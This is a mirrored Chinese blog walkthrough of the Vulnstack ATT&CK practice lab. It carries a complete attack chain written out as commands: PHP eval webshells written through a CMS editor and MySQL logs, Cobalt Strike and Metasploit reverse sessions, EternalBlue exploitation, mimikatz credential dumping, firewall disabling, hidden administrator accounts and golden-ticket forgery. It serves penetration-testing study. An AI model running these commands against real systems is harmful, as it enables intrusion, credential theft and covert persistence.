3

ATK&CK(一) | Charmersix's Blog

 8 months ago
source link: http://charmersix.icu/2023/10/13/ATK&CK(%E4%B8%80)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
Charmersix
  2023-10-13 00:00  4.1k Words  16 Mins  22

靶机下载: http://vulnstack.qiyuanxuetang.net/vuln/detail/2

环境搭建与网络配置

image-20230910220213563

网路架构图:

image-20230910224418030

虚拟机网络环境:

image-20230910220815477

各台机器详细配置:

image-20230910222528999

登录密码均为hongrisec@2019

配置win7双网卡, 并ping测试

image-20230910230428814
image-20230910230756981
image-20230910230404296
image-20230914214516666

对站点IP使用nmap扫描

SHELL
nmap -sV -p- 192.168.224.137
#-sV Version版本检测扫描
#-p- 全端口扫描

具体nmap使用教程可以参考这一篇https://blog.csdn.net/Kris__zhang/article/details/106841466

image-20230914220736796

这里推荐一下dirmap, 其功能强于DirBuster、Dirsearch、cansina、御剑.

github下载地址https://codeload.github.com/H4ckForJob/dirmap/zip/master

SHELL
# 安装
$ git clone https://github.com/H4ckForJob/dirmap.git && cd dirmap && python3 -m pip install -r requirement.txt

# 使用 单个目标
$ python3 dirmap.py -iU https://site.com -lcf
# 多个目标
$ python3 dirmap.py -iF urls.txt -lcf
SHELL
python .\dirmap.py -i http://192.168.224.137 -lcf
image-20230914222516428

看到有个备份文件, 下载查看

image-20230914224515971

有个robots.txt

image-20230914224553413

主站为: http://192.168.224.137/YXCMS/

这里还有phpMyAdmin登录地址http://192.168.224.137/phpMyAdmin/

phpinfo泄露地址http://192.168.224.137/phpinfo.php

访问主站发现开发遗留的若只问题

image-20230914225012142

访问phpinfo()

image-20230914230341757

这里暴露了绝对地址

web漏洞利用

后台弱口令

image-20230914231049204
http://192.168.224.137/YXCMS/index.php?r=admin/index/login
账号:admin
密码:123456
image-20230914230935001

后台写入shell文件

<?php eval($_REQUEST[6]);?>
image-20230914232336618

保存, 然后从我们最开始下载的备份文件里, 可以找到shell.php的路径; 这里随便搜一个前台模板文件, 看一下路径

image-20230914233354080

可以复制出路径protected/apps/default/view/default/photo_content.php

SHELL
http://192.168.224.137/YXCMS/protected/apps/default/view/default/shell.php
6=phpinfo();
image-20230914233524225

连接蚁剑成功

image-20230914233823459

前台存储型XSS

观察网站主站, 发现有个留言本功能, 尝试xss. 成功

image-20230915164533378

登录后台, 打开留言本, 成功弹出cookie, xss利用成功

image-20230915164328340

这里重点不在于代码审计, 所以更多关于这个YXcms的web漏洞可以参考这篇文章https://www.freebuf.com/column/162886.html

phpMyAdmin弱口令+数据库日志getshell

弱口令登录

在最开始扫描中, 我们就发现了这个界面, 现在我们尝试登录

账号密码都是 root, 成功登录

image-20230915175110511
写入文件getshell(失败)

这里可以执行sql语句, 虽然我们也无法确定当前是否开了写文件的权限, 我们可以直接写入试试就知道了

select '<?php eval($_REQUEST[6]); ?>' into outfile 'C:/phpStudy/WWW/shell.php'
image-20230915180851190

执行失败, 并且从翻译中可以看出, 是没有权限, 那么我们可以尝试开启这个权限

show variables like "secure%";
set global secure_file_priv='ON';
image-20230915221204417

但是没有修改权限

image-20230915221433551
全局日志getshell

尝试数据库全局日志写入

先查询是否有权限

show variables like 'general%';
image-20230915223623024

权限为off, 尝试修改权限

set global general_log = 'ON';

成功修改

image-20230915223728539

然后把general_log日志路径放网站根目录

set global general_log_file='C:/phpStudy/WWW/shell.php';
SHOW VARIABLES LIKE 'general_log_file';
image-20230915223940998

访问查看, 可以发现日志能够记录我们执行的sql语句

image-20230915224056514

现在尝试写入一句话木马

select '<?php eval($_REQUEST[6]); ?>'
image-20230915224237137

测试一下, 成功

image-20230915224315977
慢查询日志getshell

下面试一下数据库慢查询日志写入

show variables like 'slow%' 
image-20230915225025442

与上述一样, 可以把时间修改的小一些

set global slow_query_log=on;
set global slow_query_log_file="C:/phpStudy/WWW/shell2.php";
set global Long_query_time=2;
show variables like 'slow%';
image-20230915225237369

写入一句话木马

select '<?php eval($_REQUEST[666]); ?>' or sleep(2);
image-20230915233354030
错误日志getshell(失败)
show variables like '%error%';
image-20230915233935521

为空, 我们直接写入错误日志文件位置

set log_error = 'C:/phpStudy/WWW/shell3.php';
show variables like 'log_error';
image-20230915234055550

首先我们准备好cobaltstrike

搭建cs服务端

image-20230919191339866
image-20230919191431061

我们用cs生成一个大马

image-20230919192447766

通过蚁剑上传到服务器

image-20230919193407657

运行一下, 才能cs上线

image-20230919194007808

这里为了提高效率, 我们直接把延时调到0

SHELL
sleep 0
image-20230919194859192

域信息收集

收集端口信息

SHELL
shell netstat -ano
image-20230919202215249

查看系统信息

SHELL
shell systeminfo
image-20230919211902939

同时拿到内网ip

image-20230919212049502

查看是否有域以及当前域

SHELL
shell net config workstation
image-20230919212754786

查看域内所有用户列表

SHELL
shell net user /domain
image-20230919223707325

直接操作失败, 这里需要提权

image-20230919223802685

成功后, 继续操作

image-20230919224016272

查看域成员计算机列表

SHELL
shell net group "domain computers" /domain
image-20230919224341937

本机计算机名字为 STU1,另外还有两个域用户分别是 DEV1、ROOT-TVI862UBEH

查看域管理员用户

SHELL
shell net group "domain admins" /domain
image-20230919225247908

域控用户名为OWA

使用lodan扫描内网网络

SHELL
Ladon 192.168.52.0/24 OnlinePC
image-20230920222646242

再用mimikatz抓一下密码,得到当前用户登录密码为hongrisec@2019

SHELL
logonpasswords
image-20230920224025035

这里汇总一下信息收集的命令

SHELL
netsh advfirewall set allprofiles state off
关闭防火墙

shell netstat -ano
查看开放端口

shell systeminfo
查看系统信息

shell ipconfig/all
查看网络信息

shell whoami
查看用户信息

shell whoami/all
查看所有用户信息

shell hostname
获取dns信息

shell net view
查看当前局域网中的计算机列表

shell net user
查看当前计算机中的用户

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
查询操作系统及软件信息

echo %PROCESSOR_ARCHITECTURE%
查看系统体系结构

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
使用PowerShell收集软件的版本信息

whoami && whoami /priv
查看当前权限

wmic service list brief
查询本机服务信息

wmic product get name, version
查看安装的软件的版本、路径等

wmic process list brief
查询进程信息

wmic startup get command,caption
查看启动程序信息

shell tasklist
查看常见的杀毒软件进程

shell net view /domain
查看主域信息

shell net time /domain
查看时间服务器

shell net config workstation
查看当前的登录域与用户信息

shell nslookup god.org
寻找域dns服务器ip

shell ping -a god.org
ping dns服务器

shell net user /domain
获取当前域内的用户

shell wmic useraccount get /all
获取域内用户的详细信息

shell net group "domain computers" /domain
查看当前域成员计算机列表

shell net group "domain admins" /domain
查看域管理员的用户组

shell net group "Enterprise admins" /domain
查询域系统管理员用户组

shell net group "domain controllers" /domain
查看域控制器

shell net accounts /domain
获取域密码信息

net view
扫描端口信息

hashdump
读取内存密码

logonpasswords
用mimakatz读注册表密码

shell for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
探测内网其他主机
image-20220609214727214

3389远程登录

这里我们可以通过ladon神器一键开启3389端口

image-20231007162652903

当然也有备用方案, 通过修改注册表开启3389, 并可以关闭防火墙

SHELL
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

netsh firewall set opmode disable # winsows server 2003 之前
netsh advfirewall set allprofiles state off # winsows server 2003 之后

然后我们可以添加一个花生壳来内网穿透

image-20231007162900229

当然也可以不用花生壳, 因为这台服务器本来就开放了公网IP

image-20231007173358094

之后我们就直接可以用自己电脑远程登录链接到靶机

win+r输入mstsc 地址为花生壳生成的地址

账号密码就是我们获取到的账号密码, 我这里是

god\Administrator
hongrisec@2023

成功登录

image-20231007163133595

内网漏洞扫描

远程登陆我们发现靶机上有一个nmap, 可以进一步针对内网主机进行漏洞信息收集

SHELL
nmap --script=vuln 192.168.52.0/24

我们可以发现192.168.52.141也就是域成员主机存在ms08-067ms17-010漏洞.

image-20231007174605044

而且域控主机192.168.52.138存在ms17-010

image-20231007175144258

CS派生SMB beacon

SMB beacon通过命名管道与父级beacon进行通信, 当两个beacons连接之后, 子beacon从父beacon获取到任务并发送, 因为连接的beacons使用Windows命名管道进行通信, 此流量封装在smb协议中, 所以smb beacon相对隐蔽, 绕过防火墙有奇效.

img

这时候我们就可以使用smb beacon 然主机C上线。(前提是有主机C的账号密码)

第一种是在已经有的beacon上建立监听, 用来作为跳板内网穿透, 前提是通过shell访问其他内网主机, 也就是获取dc(设备描述表)的方法

第二种是直接派生一个子beacon, 目的是为了进一步盗取内网主机的hash, 新建一个listener, payload设置为beacon smb

image-20231007213157304
image-20231007213251525

保存, 然后新建一个会话, 选择我们新添加的SMB

image-20231007213420029

可以看到派生了一个新的子会话, 这就是派生的 SMB Beacon,当前没有连接

image-20231007222359185

可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它

可以进一步盗取内网主机的 hash

psexec使用凭证登录其他主机

image-20231007220219014

目标列表可以查看刚才探测到的内网其他主机

image-20231007220506679

再看一下我们之前啊mimikatz读取的密码

image-20231007221730117

右键选择一台主机

image-20231008154443756

同样方法可以上线另一台主机

TIPS: 这中间的任何问题都是最初密码的问题, 最终解决方案可以通过重新部署两台winserver解决

这是我比较混乱的最终效果

image-20231009223355028
image-20231009223418482

MSF联动CS

MSF启动!

SHELL
msfconsole
image-20231009223701265
SHELL
use multi/handler
使用监听模块

set payload windows/meterpreter/reverse_http
设置 payload为 windows下的反向http连接

set lhost 192.168.224.128
设置本机ip作为监听ip

set lport 9999
设置本机9999端口作为监听端口

run
运行
image-20231010201950639

回到cs, 新建一个监听器

image-20231010202309364

然后新建会话使用这个msf监听器

image-20231010202349382

shell成功接到msf

image-20231010204951407

接下来配置静态路由

配置静态路由的主要目的是绕过网络防火墙、路由器或其他网络设备的限制,以便在目标网络上移动、侦察或执行特定任务。

SHELL
run get_local_subnets
查看网段子网

run autoroute -s 192.168.52.0/24
添加路由

run autoroute -p
查看路由

background
转入后台

接下来代理转发

image-20231010210403884

或者使用msf的代理模块

SHELL
use auxiliary/server/socks_proxy

set version 5

set srvhost 192.168.224.128

然后修改配置文件

SHELL
sudo vim /etc/proxychains4.conf
image-20231011120845341

刚才收集到域成员主机存在MS08-067MS17_010漏洞,由于目标系统无法直接连接到攻击机,所以需要将payload设置为Bind_tcp类型展开攻击

SHELL
setg Proxies socks:192.168.224.128:8888

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp

set rhosts 192.168.52.138

run

拿到会话, 但是会因为蓝屏没法执行命令, 可以使用auxiliary/admin/smb/ms17_010_command执行命令

use  auxiliary/admin/smb/ms17_010_command
使用这个模块

set rhosts 192.168.52.138
设置ip

set command whoami
设置命令

run
image-20231011122545699

接下来关闭防火墙, 开启3389远程登陆

SHELL
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
set command 'netsh advfirewall set allprofiles state off'
run
image-20231011124536545

然后添加用户

SHELL
set command net user 6 123qwe. /add 
run
set command net localgroup administrators 6 /add
run
rdesktop 192.168.52.138 -u 6 -p 123qwe.
image-20231011190349127

但是这里我们无法进入owa域, 我们手动改到god域, 成功登录

image-20231011191333137

接下来我们开始连接另一台机器

之前漏扫得到192.168.52.141存在ms08-067ms17-010漏洞

其中ms17-010上面已经演示过, 这里我们先演示一下ms08-067

SHELL
search ms08-067
use 0
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
set lhost 192.168.224.128
run
image-20231011195908280

多次尝试以失败告终, 那么只能再利用一下ms17-010

SHELL
setg Proxies socks:192.168.224.128:8888
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
set command 'netsh firewall set opmode disable'
run
set command net user 6 123qwe. /add
run
set command net localgroup administrators 6 /add
run
rdesktop 192.168.52.141 -u 6 -p 123qwe.
image-20231011221057155

这里再介绍一下telnet

SHELL
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command sc config tlntsvr start= auto
run
set command net start telnet
run
set command netstat -an
run
image-20231011223123911

开启完后我们尝试连接

SHELL
use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.52.141
set username 6
set password 123qwe.
exploit
image-20231011223427818

利用失败, 手动连接

SHELL
telnet 192.168.52.141
image-20231011223551431

成功了, exit可以退出

这里我们已经拿到了域控主机, 先hashdump得到kebtgt账户的NTLM值

image-20231013125649024

krbtgt用户是系统在创建域时自动生成的账号,密码是随机生成的,无法登录主机,是KDC(密钥分发中心)的服务账号。在域环境中,每个用户账号的票据都是由 krbtgt 用户所生成的

aad3b435b51404eeaad3b435b51404ee:58e91a5ac358d86513ab224312314061:::

然后用mimikatz找到一个合法的sid

image-20231013130402730
S-1-5-21-2952760202-1353902439-2381784089-500

然后就可以构造黄金票据了, 用户名任意, 域名为当前域名, sid和hash值就是刚才获取到的

image-20231013130737750

可以使用mimikatz kerberos::list命令查看当前系统的票据:

image-20231013130857710

那么即使域控这台主机权限掉了或密码被修改了,我们依然可以使用边缘主机的黄金票据模拟获得最高权限,由于跳过AS验证,也就无需担心域管密码被修改

加载票据访问,选择监听器后执行,主机成功上线:

image-20231013134459154
image-20231013134436526

补充金票银票的区别:

金票Golden ticket:
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt 的 NTLM Hash又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

特点:不需要与AS进行交互,需要用户 krbtgt 的 Hash

条件:域名称、域的SID值、域的 KRBTGT 账号的 HASH、伪造任意用户名

AS:校验访问用户身份,看看你是谁,如果你的用户名存在AS对的数据库里面,那么就会给你一个随机64位的值,但是这个值是经过你的用户密码加密的,你得本地拿自己密码解开,这个是用来通信的,你和TGS的沟通都会用这个密钥加密。

TGS:和目标机器进行交互,中间用AS提供的密钥加密,然后对你提供的密码进行校验。

银票SILVER TICKET:
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三步,Client 带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key解密ST,从而获得Session Key。通过Session Key解密Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 Server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

特点:不需要与KDC进行交互、需要 server 的NTLM hash

区别:
获取的权限不同:
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同:
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server加密方式不同:
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

先删除之前创建的用户

SHELL
shell net user 6 /delete

接下来添加隐藏用户

SHELL
shell net user 666$ 123qwe. /add
shell net localgroup administrators 666$ /add
shell net user
image-20231013140358769
SHELL
rdesktop 192.168.52.138 -u 666$ -p 123qwe.

更改注册表

regedit打开注册表, 找到HKEY_LOCAL_MACHINE\SAM\SAM

image-20231013150047296

administrators赋予完全控制权限

image-20231013150219948

Administrator 用户对应项的 F 数据值复制到 666$ 用户对应项的 F 数据值, 其中000001F4就是Administrator 用户

image-20231013151826961.png

但是这里失败, 不过我们可以直接利用工具: CreateHiddenAccount

CreateHiddenAccount_v0.2.exe上传到机器

image-20231013153842103

管理员身份启动cmd

CreateHiddenAccount_v0.2.exe -c 检查是否有隐藏账户
CreateHiddenAccount_v0.2.exe -u wanan -p p-0p-0p-0 创建名为wanan,密码为p-0p-0p-0的账户。会自动补上$
CreateHiddenAccount_v0.2.exe -d wanan$ 删除隐藏账户
image-20231013154153816

这里由于靶场原因很多手段都失败了, 这里记录一下较为全面的方法

https://blog.csdn.net/qq_48985780/article/details/122297100

windows 日志路径:

系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx

安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx

应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx

日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
image-20231013155258241

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK